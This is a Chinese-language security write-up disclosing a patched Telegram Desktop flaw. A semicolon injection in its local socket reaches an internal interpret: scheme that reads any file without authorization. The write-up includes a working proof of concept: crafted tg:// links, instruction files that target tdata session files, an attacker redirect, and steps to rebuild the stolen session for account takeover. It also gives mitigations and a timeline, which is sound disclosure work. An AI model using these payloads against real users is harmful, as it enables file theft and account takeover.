Telegram Desktop 漏洞:点击一个链接即可窃取任意用户文件
引言
有人把你拉进一个 Telegram 群组,聊天里出现一条链接,你点了它——从此你的 Telegram 账号就不再只属于你一个人了。
这是怎么做到的?
Telegram Desktop 会把点击的链接以纯文本形式通过本地 socket 传给已经运行的实例,而且从不转义用于分隔命令的字符。于是一个精心构造的链接到达时不再是单条指令,而是多条。
我发现的这条攻击链包含两个缺陷。第一个就是上述的注入。第二个是注入的命令能触达的目标:一个内部 URI scheme,interpret:,它会读取指令文件中指定的文件并发送到聊天,既不校验请求者身份,也不需要确认。两者结合,一次点击链接就能变成任意文件读取。在本文中,我将完整剖析这条攻击链,并利用它窃取受害者的登录凭证文件。
| 影响范围 | Telegram Desktop 至 7.2.8 版本,已在 Windows(6.9.3)上确认 |
| 危害 | 远程任意本地文件读取,文件被外传至攻击者控制的聊天;可导致账号接管 |
| CVE | CVE-2026-107181 |
| 修复版本 | 7.2.9,提交 db3405699f |
| 严重程度 | 8.1 高危,CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
一条链接,两个进程
操作系统允许程序注册 URI scheme,这样当遇到该类型的链接时,系统就知道该启动哪个应用。Telegram Desktop 注册了 tg。从那时起,系统就知道 tg://... 链接属于 Telegram,并会以该 URL 作为命令行参数启动它。
如果 Telegram 尚未运行,进程启动后会把字符串当作参数,转成 URL 对象并在内部处理:单进程,无需任何通信。
但如果 Telegram 已经在运行呢?操作系统既不知道也不检查,照样会启动一个新进程,与第一个完全相同。Telegram 必须自己判断出这个进程是多余的,而它的判断方式就是尝试连接一个本地 socket。
已运行的实例充当服务器角色:它自启动起就一直监听该 socket。新进程则是客户端。如果连接成功,说明已有实例在运行,新进程便会移交链接引用并退出。
Socket 传输的是字节,而非对象。新进程内存中的 URL 对象无法直接穿越这一通道,因此必须将其扁平化为一行文本。
这种操作有一个专门术语:序列化(serialization)。其反向操作——从文本重建对象——则称为反序列化(deserialization)。每当结构化数据需要跨越边界时,这两者都是不可避免的环节,而它们也正是数据内部边界不再由结构维持、转而变成文本中字符的关键时刻。
Telegram 使用自有的简单格式实现这一点:每条指令由关键字、参数以及作为结束符的分号组成。一个待打开的链接形式如下:
1
OPEN:tg://x?a=1;
tg://x?a=1 在 Telegram 内部没有匹配的处理程序,因此该链接本身并不产生任何效果,仅仅是一个载体。
这条指令行在此处生成,每个待打开的 URL 对应一条:
1
2
3
4
// sandbox.cpp:295-297
for (const auto &url : cRefStartUrls()) {
commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
}
接收端由正在运行的实例执行反序列化:它读取收到的字节流,在每个分号处切断,将每段视为独立指令。对于以 OPEN: 开头的片段,它会提取后续内容并将其重构为 URL,效果等同于该 URL 刚通过命令行传入。
1
2
3
4
5
6
// sandbox.cpp:453-463 (abbreviated)
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
auto cmd = base::StringViewMid(cmds, from, to - from);
...
} else if (cmd.startsWith(u"OPEN:"_q)) {
startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));
未转义的定界符
那么,如果传输的某个值中包含了该格式用作定界符的分号,会发生什么?在前面那个链接后附加一些内容试试:
1
tg://x?a=1;CMD:quit
新进程将其视为单一 URL,因为在它看来,分号只是查询字符串中的一个普通字符。它会将其压平并写入 socket:
1
OPEN:tg://x?a=1;CMD:quit;
正在运行的实例会在每个分号处截断,从而将一条指令解析为两条:
1
2
OPEN:tg://x?a=1
CMD:quit
这就是注入点,也是两个缺陷中的第一个。
interpret: URI 方案
上面的例子注入了 CMD:,但不要被名字误导:它仅接受 show 和 quit,因此最坏情况也只是关闭应用。
总共有四个命令被接受,其中三个是无害的。第四个是 OPEN:,这里有个细节:它接受任意 URL,且对 scheme 没有过滤。
深入挖掘代码,会发现 Telegram 内部还有另一个 URI 方案,名为 interpret:。
操作系统不知道如何处理以 interpret: 开头的链接,因为它未在任何地方注册为协议处理器:它仅存在于 Telegram 自身的代码中,代码会从启动 URL 列表中像处理其他方案一样提取它。
1
2
3
4
// application.cpp:1162-1164
if (url.scheme() == u"interpret"_q) {
interprets.append(url.path());
return false;
通过 OPEN:,它变得可达:
1
tg://x?a=1;OPEN:interpret:instructions.txt
那么 interpret: 是做什么的?
这是 Telegram 用于发布自身更新的工具。当新版本发布时,构建归档必须与更新日志一起发布到频道。为了避免手动操作,脚本会生成一个小型文本文件,指定频道、要发送的文件以及要编写的文字,然后以该文件的路径启动 Telegram。
1
2
3
# Telegram/build/updates.py:206
subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath
+ '/.../command.txt', shell=True)
指令文件看起来是这样的:
1
2
3
4
5
6
7
from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:
- Fixed a crash in the media viewer.
- Added a new sticker pack.
from: 的值会和当前登录账号的 id 做比对,防止操作者从错误的账号发布版本。这个检查只有在存在该行时才会执行,所以省略这一行就能绕过它。目标位置仅由 channel: 决定,且必须是一个频道或超级群组。
完成这项工作的是一个叫 InterpretSendPath 的函数。
那么漏洞在哪里?interpret: 会执行一个特权操作——读取磁盘上的任意文件并发送到聊天中,不需要任何人确认,也不检查请求来自谁。
这个函数没有任何授权校验。
1
2
3
4
5
6
7
8
9
// support_helper.cpp:673-680
QString InterpretSendPath(
not_null<Window::SessionController*> window,
const QString &path) {
QFile f(path);
if (!f.open(QIODevice::ReadOnly)) {
return "App Error: Could not open interpret file: " + path;
}
const auto content = QString::fromUtf8(f.readAll());
如果这个调用来自命令行(发布脚本就是这么调用的),那不算问题:攻击者本来就已经控制了这台机器,真有立足点的话自己就能读文件。可一旦同样的操作可以通过 socket——也就是通过注入——触达,一个危险函数就能被受害者点击的链接调用。
这是一个缺失的授权校验,也是这两个缺陷中的第二个。
把指令文件写进磁盘
攻击者只要能在受害者磁盘上放置一个指令文件,把 file: 指向想要窃取的路径、把 channel: 指向自己的频道,就能仅凭一个被点击的链接窃取这台机器上的任意文件。
那么攻击者怎样才能把一个文本文件放到别人磁盘上可预测的路径?最直接的办法就是作为聊天附件发送。
恰好,Telegram Desktop 在默认配置下会自动下载群组中接收到的最大 8 MiB 的文件,而在广播频道中自动下载功能默认关闭。文件会落在标准目录中,文件名与发送者指定的名称一致,且无需受害者手动点击,存储位置也完全可预测(若发生重名冲突,Telegram 会将其保存为类似 instructions1 (2).txt 的文件)。部分格式如贴纸、GIF 和语音消息会存入内部缓存,无法作为磁盘上的直接路径访问。
Telegram 自行构建该路径(file_utilities.cpp:172-181)。在 Windows 上:
1
C:\Users\<user>\Downloads\Telegram Desktop\<file name>
攻击者将文件发送进群组后,即可确切知晓其保存位置。路径中看似仍有一个未知变量——Windows 用户名——但 interpret: 也接受相对路径,而相对路径是从 Telegram 自身的工作目录(即其数据文件夹,logs.cpp:381)开始解析的。在 Windows 上,该目录为 %APPDATA%\Telegram Desktop,位于用户主目录下方三层,而 Downloads 则直接位于主目录中。因此,如下所示的路径:
1
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
可使攻击者在无需获取用户名的情况下,获得一个确定性的文件路径。
从读取文件到接管账户
InterpretSendPath 每次调用仅发送一个文件:如果指令文件中包含多行 file:,只有最后一行生效。但有两点可以突破这一限制。首先,攻击者可以发布任意数量的指令文件;其次,注入不会在第一条命令处停止——每个分号都能开启新的命令。因此,针对三个目标,只需三个指令文件,并在一个链接中堆叠三条命令即可实现。
1
2
3
4
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
核心原语始终未变:任意文件读取。变化的是读取的目标:SSH 密钥、浏览器密码库、云凭证文件,或是包含 API 令牌的配置文件。
Telegram 不以明文存储本地数据,因此用户磁盘上的所有内容均经过加密,包括会话授权信息。这是客户端向 Telegram 服务器进行身份识别的凭证,持有它等同于掌握该账户,类似网站上的会话 Cookie。
Telegram 采用密钥包装技术,涉及两把密钥。第一把是 DEK(数据加密密钥),具有长度长、随机性强、高熵的特征,用于加密用户数据。第二把是 KEK(密钥加密密钥),仅用于加密 DEK。KEK 并非密码本身,而是通过密钥派生函数(KDF),结合与加密 DEK 存储在同一位置的盐值,从密码派生而来。
打开本地数据的关键链在伪代码中如下所示:
1
2
3
4
5
6
salt, encrypted_DEK = read("tdata/key_datas")
passcode = user_passcode() # 若未设置则为空
KEK = KDF(passcode, salt)
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)
默认情况下,Telegram Desktop 没有本地密码,用户需进入设置手动开启。若未设置密码,用于派生的密码为空字符串(参见 storage_domain.cpp:102),因此 KEK 由空字符串和盐值派生。而该盐值以明文存储在 tdata/key_datas 中,这与存放加密 DEK 的文件相同。只需读取这一个文件,即可重新计算 KEK 并解密出 DEK。
因此,在默认未设置密码的情况下,任何获取 key_datas 的人都能得到 DEK,进而解密所有其他数据,包括会话授权信息。
涉及三个文件,其中仅两个包含机密数据:
1
2
3
4
5
tdata/
├── key_datas 盐值与加密的 DEK
├── D877F783D5D3EF8Cs 使用 DEK 加密的 MTProto 授权信息
└── D877F783D5D3EF8C/
└── maps 账户存储数据的索引
这个文件夹名并非随机生成,也不是某次安装特有的。它由字符串 data 派生而来,也就是默认的数据名称(storage_file_utilities.cpp:241-250),在所有安装实例上都完全相同。
第三个文件是索引,本身不含任何秘密。但缺少它会话同样无法加载:Telegram 只在读取这个索引时才读取授权信息。不过要不要偷走它是可选的——攻击者完全可以自己构造一个。在本次概念验证中,为了方便,还是把它和其他两个文件一起取走。
由此可见,只要拿到这三个文件,攻击者就等于拿到了账号:把它们放进一个全新的 tdata 文件夹,启动 Telegram,受害者的会话就打开了。
投递链接
整个攻击需要受害者点击一次,而且这次点击必须来自 Telegram 之外。在 Telegram 聊天中点击 tg:// 链接是在进程内处理的(click_handler_types.cpp:278),根本不会经过 socket,所以没有可注入的点。而普通的 https 链接会在系统浏览器中打开(ui_integration.cpp:437),因为 Telegram Desktop 没有内置浏览器。于是攻击者发送一个普通的 https 链接,再让自己的服务器把它重定向到精心构造的 tg:// 链接。
1
2
3
4
5
GET /rules HTTP/1.1
Host: corvus.sec
HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt
视浏览器而定,也取决于受害者之前是否用过这个协议处理器,系统在启动 Telegram 前可能会弹出确认提示。
概念验证
攻击者创建一个超级群组并把受害者拉进去。Telegram 的默认隐私设置允许这样操作,无需被邀请者确认。
攻击者在群里发布三个指令文本文件,对应要窃取的三个文件,全部指定攻击者自己的群作为传输目的地。省略 from: 行即可完全绕过账号校验:
1
2
3
channel: 2001234567
file: tdata/key_datas
caption: poc
该文件必须是使用 LF 换行符且无 BOM 的纯文本。另外两个文件指向 tdata/D877F783D5D3EF8Cs 和 tdata/D877F783D5D3EF8C/maps。自动下载功能会在受害者打开该群组时将这三个文件全部保存到磁盘上,而受害者本就需要打开群组,因为第 3 步的链接正停在那里。
攻击者在聊天中发送一个无害的链接:
1
https://corvus.sec/rules
受害者点击该链接。浏览器跟随重定向,此次每个目标对应一条指令,此处为可读性换行显示,实际作为单行发送:
1
2
3
4
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
操作系统启动第二个 Telegram 进程,并通过 socket 将 URL 转发给正在运行的进程。未转义的分号将指令截断,注入随即触发。
三条 interpret: 指令被执行,三个文件被上传至攻击者的群组。过程中不显示任何确认对话框。
攻击者利用这三个文件重建 tdata,并打开受害者的账户。
缓解措施
升级至 7.2.9 或更高版本。 这是唯一能彻底修复该问题的方法。其余措施仅能降低风险暴露面。
开启“询问每个文件的保存位置”选项。 启用此设置后,自动下载将完全失效,指令文件便不会到达磁盘。除升级外,这是最有效的缓解手段。
将“可邀请你加入群组的对象”限制为仅限联系人。 被盗文件只能发送至频道或超级群组,此设置可切断攻击者的投递渠道。
设置本地密码,并像设置真实密码一样设置它。 这无法阻止文件被盗,只能使被盗会话无法使用。
修复
该漏洞由 2026 年 9 月 16 日的提交 db3405699f 修复。版本日志将 7.2.9 的日期定为同一天,正式发布于次日早晨。该提交彻底移除了 interpret:// 协议和 Support::InterpretSendPath,并对单实例套接字中的记录分隔符进行转义:写入前使用带百分号前缀的十六进制编码进行转义,拆分后解码,从而确保数据中的分号不再被误判为边界。
此外还增加了两项防护措施:当同一连接携带 OPEN: 记录时,跳过 CMD: 和 CTRL: 记录;一旦该连接出现过非本地 URL,则丢弃本地文件路径。
时间线
日期 事件 2026-06-25 通过 ZDI 报告 2026-09-16 厂商独立修复问题,提交 db3405699f 2026-09-17 Telegram Desktop 7.2.9 发布 2026-09-30 ZDI 以“已修复”结案;披露权回归本人 2026-10-03 本公开报告 2026-10-07 分配 CVE-2026-107181
修复悄然发布:7.2.9 的版本日志仅提及渲染修复,关闭该漏洞链的提交标题为“Remove legacy interpret path helper”,且未附带安全公告。